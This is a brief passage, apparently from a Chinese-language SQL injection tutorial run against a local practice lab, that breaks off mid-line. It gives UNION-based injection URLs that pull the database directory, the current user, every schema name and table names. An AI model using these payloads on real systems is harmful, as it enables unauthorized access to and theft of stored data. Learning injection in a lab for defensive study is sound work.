id=-1' union select 1,@@datadir,current_user() # 我们还可以通过union注入获得更多的信息。 //获得所有的数据库 http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata# // 获得所有的表 http://127.0.0.1/sqli/Less-1/?id=-1'u...